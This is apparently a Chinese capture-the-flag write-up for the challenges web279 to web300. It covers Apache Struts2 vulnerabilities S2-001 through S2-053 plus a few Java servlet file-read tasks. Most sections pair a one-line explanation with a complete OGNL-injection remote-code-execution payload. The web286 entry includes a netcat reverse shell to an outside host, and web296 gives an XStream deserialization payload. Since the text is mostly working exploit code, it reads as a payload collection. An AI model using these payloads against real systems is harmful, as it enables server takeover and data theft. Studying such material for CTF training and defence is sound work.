web279

Struts2漏洞 S2-001

payload

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

web280

Struts2漏洞 S2-005

这个漏洞是对S2-003的绕过

  1. 使用unicode编码(u0023)或8进制(43)绕过对#的限制。
  2. 关掉安全配置(allowStaticMethodAccess、MethodAccessor.denyMethodExecution禁止静态方法调用和类方法执行等)

找到一个GUI利用工具

payload

('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'env\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))

web281

Struts2漏洞 S2-007

在处理类型转换的错误时会存入错误到内存中,在后续调用流程中触发OGNL表达式注入。
这里age显然是int型,传入payload可导致命令执行。

payload

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())) + '

web282

Struts2漏洞 S2-008
这是一个复合漏洞,定义不是很明确。参考文章

devmode.action处开启了开发者模式,可以直接执行命令。

payload

debug=command&expression=(#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream()))

web283

Struts2漏洞 S2-009
showcase远程代码执行

正则绕过ParametersIntercepter

payload

/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

web284

Struts2漏洞 S2-012

redirect重定向变量

payload

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/bash","-c", "env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

web285

Struts2漏洞 S2-013

<s:a>和<s:url>标签中includeParams=all

payload

?a=${#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println('result='+new java.lang.String(#d)),#out.close()}

web286

Struts2漏洞 S2-015

配置了 Action 通配符 *,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式,例如:

<package name="S2-015" extends="struts-default">
    <action name="*" class="com.demo.action.PageAction">
        <result>/{1}.jsp</result>
    </action>
</package>

payload

/${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('nc -c sh ip 1337').getInputStream()),#q}.action

回显字数有限,且不能解析特殊字符/,记得urlencode

使用反弹shell的方式

web287

Struts2漏洞 S2-016

在struts2中,DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。

payload(需要urlencode)

?redirect:${#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}

web288

Struts2漏洞 S2-019

要求开发者模式,且poc第一个参数是debug,触发点在DebuggingInterceptor上,查看intercept函数,从debug参数获取调试模式,如果模式是command,则把expression参数放到stack.findValue中,最终放到了ognl.getValue中。

payload(需要urlencode)

?debug=command&expression=#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())

web289

Struts2漏洞 S2-029

Struts2的标签库使用OGNL表达式来访问ActionContext中的对象数据。为了能够访问到ActionContext中的变量,Struts2将ActionContext设置为OGNL的上下文,并将OGNL的对象加入ActionContext中。
在Struts2中,如下的标签就调用了OGNL进行取值

<p>parameters: <s:property value="#parameters.msg" /></p>

payload(需要urlencode)

/default.action?message=(#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream()))

web290

Struts2漏洞 S2-032

当启用动态方法调用时,可以传递可用于在服务器端执行任意代码的恶意表达式。 使用method:Action 前缀去调用声明为 public 的函数,只不过在低版本中 Strtus2 不会对 name 方法值做 OGNL 计算,而在高版本中会。

payload(需要urlencode)

?method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#res=@org.apache.struts2.ServletActionContext@getResponse(),#res.setCharacterEncoding(#parameters.encoding[0]),#w=#res.getWriter(),#s=new java.util.Scanner(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()).useDelimiter(#parameters.pp[0]),#str=#s.hasNext()?#s.next():#parameters.ppp[0],#w.print(#str),#w.close(),1?#xx:#request.toString&pp=\\A&ppp= &encoding=UTF-8&cmd=env

web291

Struts2漏洞 S2-033

当启用动态方法调用之后,使用了rest插件就可能执行ognl表达式导致任意代码执行。

payload

/S2-033/orders/4/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=env

web292

Struts2漏洞 S2-037

和S2-033一样,只不过不需要开启动态方法调用。具体参考文章

web293

Struts2漏洞 S2-045

在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行。恶意用户可在上传文件时通过修改HTTP请求头中的Content—Type值来触发该漏洞,进而执行系统命令。

payload

Content-Type: %{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream()))).(#ros.flush())}

web294

Struts2漏洞 S2-046

攻击者通过设置Content-Disposition的filename字段或者设置Content-Length超过2G这两种方式来触发异常并导致filename字段的OGNL表达式得到执行从而达到远程攻击的目的。该漏洞与045漏洞成因一样,只是漏洞利用的字段发生了改变。
与045相同,046也是OGNL注入,但出现在上传请求的文件名字段中,并且需要NULL字节来拆分有效负载和其余字符串。

payload

filename="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='env').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\x00b"
//需要将\x00替换为NULL

web295

Struts2漏洞 S2-048

Apache Struts2 2.3.x 系列启用了struts2-struts1-plugin 插件并且存在 struts2-showcase 目录,其漏洞成因是当ActionMessage接收客户可控的参数数据时,由于后续数据拼接传递后处理不当导致任意代码执行。

payload

/S2-048/integration/saveGangster.action

name=%25%7b%28%23nike%3d%27multipart%2fform-data%27%29.%28%23dm%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3f%28%23_memberAccess%3d%23dm%29%3a%28%28%23container%3d%23context%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d%29.%28%23ognlUtil%3d%23container.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3d%27env%27%29.%28%23iswin%3d%28@java.lang.System@getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3d%28%23iswin%3f%7b%27cmd.exe%27%2c%27%2fc%27%2c%23cmd%7d%3a%7b%27%2fbin%2fbash%27%2c%27-c%27%2c%23cmd%7d%29%29.%28%23p%3dnew+java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3d%23p.start%28%29%29.%28%23ros%3d%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%29.%28@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2c%23ros%29%29.%28%23ros.flush%28%29%29%7d&age=1&__checkbox_bustedBefore=true&description=1

web296

Struts2漏洞 S2-052

Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,可被远程攻击。

这题利用如下payload会报500,使用S2-046漏洞进行利用(等有时间再研究👽)

<map>
 <entry>
 <jdk.nashorn.internal.objects.NativeString>
 <flags>0</flags>
 <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
 <dataHandler>
 <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
 <is class="javax.crypto.CipherInputStream">
 <cipher class="javax.crypto.NullCipher">
 <initialized>false</initialized>
 <opmode>0</opmode>
 <serviceIterator class="javax.imageio.spi.FilterIterator">
 <iter class="javax.imageio.spi.FilterIterator">
 <iter class="java.util.Collections$EmptyIterator"/>
 <next class="java.lang.ProcessBuilder">
 <command>
 <string>touch</string>
 <string>/tmp/success</string>
 </command>
 <redirectErrorStream>false</redirectErrorStream>
 </next>
 </iter>
 <filter class="javax.imageio.ImageIO$ContainsFilter">
 <method>
 <class>java.lang.ProcessBuilder</class>
 <name>start</name>
 <parameter-types/>
 </method>
 <name>foo</name>
 </filter>
 <next class="string">foo</next>
 </serviceIterator>
 <lock/>
 </cipher>
 <input class="java.lang.ProcessBuilder$NullInputStream"/>
 <ibuffer></ibuffer>
 <done>false</done>
 <ostart>0</ostart>
 <ofinish>0</ofinish>
 <closed>false</closed>
 </is>
 <consumed>false</consumed>
 </dataSource>
 <transferFlavors/>
 </dataHandler>
 <dataLen>0</dataLen>
 </value>
 </jdk.nashorn.internal.objects.NativeString>
 <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
 </entry>
 <entry>
 <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
 <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
 </entry>
</map>

web297

Struts2漏洞 S2-053

Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次之后变成另一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。

回显有字数限制,使用输出到文件的方式读取env
payload

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='env >/usr/local/tomcat/webapps/S2-053/1.txt').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

web298

题目提供了war包,war包实际上是zip格式的,修改后缀为zip然后解压,可以看到index.jsp文件,以及class文件,class文件用jadx来反编译即可看到源码。
文件结构如下,web.xml用来映射路由和servelet

payload

/ctfshow/login?username=admin&password=ctfshow

web299

通过提示知道可以任意文件读取,先读取web.xml文件获取映射

/view-source?file=WEB-INF/web.xml

查看到/getFlag映射后,读取相应class文件

/view-source?file=WEB-INF/classes/com/ctfshow/servlet/GetFlag.class

读取文件是进行过处理的,没法反编译,具体细节分析有点困难。
从可读字符中大概能看出会将字符与/fl3g比较。

/view-source?file=../../../../../fl3g

web300

和上题payload相同

参考文章

https://www.freebuf.com/articles/web/280245.html